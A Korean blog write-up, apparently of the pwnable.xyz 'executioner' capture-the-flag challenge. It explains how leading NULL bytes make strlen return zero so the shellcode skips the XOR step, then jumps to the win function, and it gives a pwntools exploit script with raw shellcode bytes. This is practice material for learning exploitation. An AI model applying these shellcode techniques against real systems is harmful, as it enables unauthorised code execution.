단순 쉘코드 문제다 strlen으로 입력한 쉘코드 길이를 구해서 랜덤 값과 xor한다
단순 2byte NULL bytes를 박으면 strlen의 반환 값이 0이 되면서 랜덤 값과 xor하지 않게 된다
대신 쉘 코드가 실행 될때 ptr byte[rax], al을 수행한다 rax는 스택값이니 코드가 정상적으로 처리될 것이다
이후에 r12에 _start주소가 있어서 win만큼 더해서 jmp r12해서 플래그가 출력되도록 했다
from pwn import *
#context.log_level = "debug"
p = remote("svc.pwnable.xyz", 30025)
#p = process("./executioner")
#gdb.attach(p)
def pow():
p.recvuntil(b"0x")
num = int(p.recvline(), 16)
log.info("num: "+ hex(num))
p.recvuntil(b"> ")
p.send(b"0 ")
p.sendline(str(num))
pow()
shell = b"\x00\x00\x49\x81\xc4\x9a\x01\x00\x00\x41\xff\xe4"
p.recvuntil(b"Input: ")
p.sendline(shell)
p.interactive()
'pwn > pwnable.xyz' 카테고리의 다른 글
pwnable.xyz / badayum (0) | 2022.05.23 |
---|---|
pwnable.xyz / password (0) | 2022.05.23 |
pwnable.xyz / Punch it (0) | 2022.05.22 |
pwnable.xyz / catalog (0) | 2022.05.21 |
pwnable.xyz / PvP (0) | 2022.05.21 |